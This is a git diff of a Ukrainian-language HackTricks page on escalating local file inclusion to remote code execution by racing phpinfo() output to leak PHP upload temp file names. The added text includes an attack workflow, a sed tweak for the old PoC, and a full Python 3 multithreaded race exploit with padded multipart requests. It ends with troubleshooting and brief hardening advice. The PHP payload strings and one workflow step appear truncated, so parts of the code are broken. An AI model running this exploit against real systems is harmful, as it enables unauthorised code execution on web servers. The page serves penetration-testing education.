diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md index 66d5df242..a16a31c0d 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md @@ -1,55 +1,160 @@ +# LFI to RCE via PHPInfo + {{#include ../../banners/hacktricks-training.md}} -Щоб експлуатувати цю вразливість, вам потрібно: **Вразливість LFI, сторінка, де відображається phpinfo(), "file_uploads = on" і сервер повинен мати можливість записувати в директорію "/tmp".** +Щоб експлуатувати цю техніку, вам потрібні всі з наступного: +- Досяжна сторінка, яка виводить phpinfo(). +- Примітив Local File Inclusion (LFI), яким ви керуєте (наприклад, include/require на введенні користувача). +- Увімкнені PHP file uploads (file_uploads = On). Будь-який PHP-скрипт приймає RFC1867 multipart uploads і створює тимчасовий файл для кожної завантаженої частини. +- PHP worker повинен мати можливість записувати в налаштований upload_tmp_dir (або в системний тимчасовий каталог за замовчуванням), а ваш LFI повинен мати можливість include-ити цей шлях. -[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) +Класичний опис і оригінальний PoC: +- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011) +- Original PoC script name: phpinfolfi.py (see whitepaper and mirrors) -**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s) +Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s -Вам потрібно виправити експлойт (змінити **=>** на **=>**). Для цього ви можете зробити: +Примітки щодо оригінального PoC +- Вихід phpinfo() HTML-кодується, тому стрілка "=>" часто з'являється як "=>". Якщо ви повторно використовуєте старі скрипти, переконайтеся, що вони шукають обидва варіанти кодування при парсингу значення _FILES[tmp_name]. +- Ви повинні адаптувати payload (ваш PHP-код), REQ1 (запит до phpinfo() endpoint'у з урахуванням padding) і LFIREQ (запит до вашого LFI sink). Деяким цілям не потрібен null-byte (%00) термінатор і сучасні версії PHP його не враховують. Налаштуйте LFIREQ відповідно до вразливого sink'у. + +Приклад sed (тільки якщо ви дійсно використовуєте старий Python2 PoC) для відповідності HTML-кодованої стрілки: ``` -sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py +sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py ``` -Вам потрібно також змінити **payload** на початку експлуатації (наприклад, для php-rev-shell), **REQ1** (це має вказувати на сторінку phpinfo і повинно містити заповнення, тобто: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), та **LFIREQ** (це має вказувати на вразливість LFI, тобто: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Перевірте подвійну "%" під час експлуатації нульового символу) - {{#file}} LFI-With-PHPInfo-Assistance.pdf {{#endfile}} -### Теорія +## Theory -Якщо завантаження дозволено в PHP і ви намагаєтеся завантажити файл, цей файл зберігається в тимчасовому каталозі, поки сервер не закінчить обробку запиту, потім цей тимчасовий файл видаляється. +- Коли PHP отримує multipart/form-data POST із полем файлу, він записує вміст у тимчасовий файл (upload_tmp_dir або за замовчуванням ОС) і робить шлях доступним у $_FILES['']['tmp_name']. Файл автоматично видаляється в кінці запиту, якщо його не перемістити/не перейменувати. +- Фішка в тому, щоб дізнатися тимчасове ім'я файлу і включити його через LFI до того, як PHP його очистить. phpinfo() виводить $_FILES, включно з tmp_name. +- Збільшуючи розмір заголовків/параметрів запиту (padding), можна змусити ранні частини виводу phpinfo() бути скинутими до клієнта до завершення запиту, тож ви можете прочитати tmp_name, поки тимчасовий файл ще існує, і одразу ж звернутися до LFI з цим шляхом. -Отже, якщо ви знайшли вразливість LFI на веб-сервері, ви можете спробувати вгадати ім'я тимчасового файлу, що створюється, і експлуатувати RCE, отримуючи доступ до тимчасового файлу до його видалення. +In Windows the temp files are commonly under something like C:\\Windows\\Temp\\php*.tmp. In Linux/Unix they are usually in /tmp or the directory configured in upload_tmp_dir. -У **Windows** файли зазвичай зберігаються в **C:\Windows\temp\php** +## Attack workflow (step by step) -У **linux** ім'я файлу зазвичай є **випадковим** і розташоване в **/tmp**. Оскільки ім'я випадкове, потрібно **витягти звідкись ім'я тимчасового файлу** і отримати до нього доступ до його видалення. Це можна зробити, прочитавши значення **змінної $\_FILES** всередині вмісту функції "**phpconfig()**". - -**phpinfo()** - -**PHP** використовує буфер **4096B**, і коли він **повний**, він **надсилається клієнту**. Потім клієнт може **надсилати** **багато великих запитів** (використовуючи великі заголовки) **завантажуючи php** зворотний **shell**, чекати на **першу частину phpinfo()**, що повертається (де вказується ім'я тимчасового файлу) і намагатися **отримати доступ до тимчасового файлу** до того, як php сервер видалить файл, експлуатуючи вразливість LFI. - -**Скрипт Python для спроби брутфорсити ім'я (якщо довжина = 6)** -```python -import itertools -import requests -import sys - -print('[+] Trying to win the race') -f = {'file': open('shell.php', 'rb')} -for _ in range(4096 * 4096): -requests.post('http://target.com/index.php?c=index.php', f) - - -print('[+] Bruteforcing the inclusion') -for fname in itertools.combinations(string.ascii_letters + string.digits, 6): -url = 'http://target.com/index.php?c=/tmp/php' + fname -r = requests.get(url) -if 'load average' in r.text: # '); +``` +2) Надішліть великий multipart POST безпосередньо на сторінку phpinfo(), щоб було створено тимчасовий файл, який містить ваш payload. Роздмухайте різні заголовки/cookies/параметри приблизно 5–10KB паддінгу, щоб сприяти ранньому виводу. Переконайтеся, що ім'я поля форми збігається з тим, що ви будете парсити в $_FILES. + +3) Поки відповідь phpinfo() ще стримується (streaming), парсіть часткове тіло, щоб витягнути $_FILES['']['tmp_name'] (HTML-кодований). Як тільки отримаєте повний абсолютний шлях (наприклад, /tmp/php3Fz9aB), запустіть свій LFI, щоб include() цей шлях. Якщо include() виконає тимчасовий файл до його видалення, ваш payload виконається і створить /tmp/.p.php. + +4) Використайте створений файл: GET /vuln.php?include=/tmp/.p.php&x=id (або куди завгодно ваш LFI дозволяє include), щоб надійно виконувати команди. + +> Tips +> - Використовуйте кілька паралельних workers, щоб підвищити шанси виграти race. +> - Розміщення паддінгу, що зазвичай допомагає: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Налаштовуйте під ціль. +> - Якщо вразливий sink додає розширення (наприклад, .php), вам не потрібен null byte; include() виконає PHP незалежно від розширення тимчасового файлу. + +## Мінімальний Python 3 PoC (socket-based) + +Наведений нижче фрагмент зосереджений на критичних частинах і його легше адаптувати, ніж застарілий Python2 скрипт. Налаштуйте HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink) та PAYLOAD. +```python +#!/usr/bin/env python3 +import re, html, socket, threading + +HOST = 'target.local' +PORT = 80 +PHPSCRIPT = '/phpinfo.php' +LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path +THREADS = 10 + +PAYLOAD = ( +"'); ?>\r\n" +) +BOUND = '---------------------------7dbff1ded0714' +PADDING = 'A' * 6000 +REQ1_DATA = (f"{BOUND}\r\n" +f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n" +f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n") + +REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n" +f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n" +f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n" +f"Content-Type: multipart/form-data; boundary={BOUND}\r\n" +f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}") + +LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n") + +pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)") + + +def race_once(): +s1 = socket.socket() +s2 = socket.socket() +s1.connect((HOST, PORT)) +s2.connect((HOST, PORT)) +s1.sendall(REQ1.encode()) +buf = b'' +tmp = None +while True: +chunk = s1.recv(4096) +if not chunk: +break +buf += chunk +m = pat.search(html.unescape(buf.decode(errors='ignore'))) +if m: +tmp = m.group(1) +break +ok = False +if tmp: +req = (LFI % tmp).encode() % HOST.encode() +s2.sendall(req) +r = s2.recv(4096) +ok = b'.p.php' in r or b'HTTP/1.1 200' in r +s1.close(); s2.close() +return ok + +if __name__ == '__main__': +hit = False +def worker(): +nonlocal_hit = False +while not hit and not nonlocal_hit: +nonlocal_hit = race_once() +if nonlocal_hit: +print('[+] Won the race, payload dropped as /tmp/.p.php') +exit(0) +ts = [threading.Thread(target=worker) for _ in range(THREADS)] +[t.start() for t in ts] +[t.join() for t in ts] +``` +## Усунення несправностей +- Ви ніколи не бачите tmp_name: переконайтеся, що ви дійсно робите POST multipart/form-data до phpinfo(). phpinfo() виводить $_FILES лише коли поле завантаження було присутнє. +- Вивід не скидається рано: збільште padding, додайте більше великих заголовків або надішліть кілька одночасних запитів. Деякі SAPIs/буфери не скидають вміст, поки не досягнуть більших порогів; відрегулюйте відповідно. +- Шлях LFI заблоковано open_basedir або chroot: потрібно вказати LFI на дозволений шлях або переключитися на інший LFI2RCE вектор. +- Тека тимчасових файлів не /tmp: phpinfo() друкує повний абсолютний шлях tmp_name; використовуйте цей точний шлях у LFI. + +## Захисні нотатки +- Ніколи не робіть phpinfo() доступним у production. Якщо потрібно, обмежте доступ за IP/auth і видаліть після використання. +- Тримайте file_uploads вимкненим, якщо він не потрібен. Інакше обмежте upload_tmp_dir шляхом, недоступним для include() в додатку, і забезпечте сувору валідацію всіх шляхів для include/require. +- Розглядайте будь-який LFI як критичний; навіть без phpinfo(), існують інші шляхи LFI→RCE. + +## Related HackTricks techniques + +{{#ref}} +lfi2rce-via-temp-file-uploads.md +{{#endref}} + +{{#ref}} +via-php_session_upload_progress.md +{{#endref}} + +{{#ref}} +lfi2rce-via-nginx-temp-files.md +{{#endref}} + +{{#ref}} +lfi2rce-via-eternal-waiting.md +{{#endref}} + + + +## Посилання +- LFI With PHPInfo() Assistance whitepaper (2011) – дзеркало Packet Storm: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf +- PHP Manual – Завантаження методом POST: https://www.php.net/manual/en/features.file-upload.post-method.php {{#include ../../banners/hacktricks-training.md}}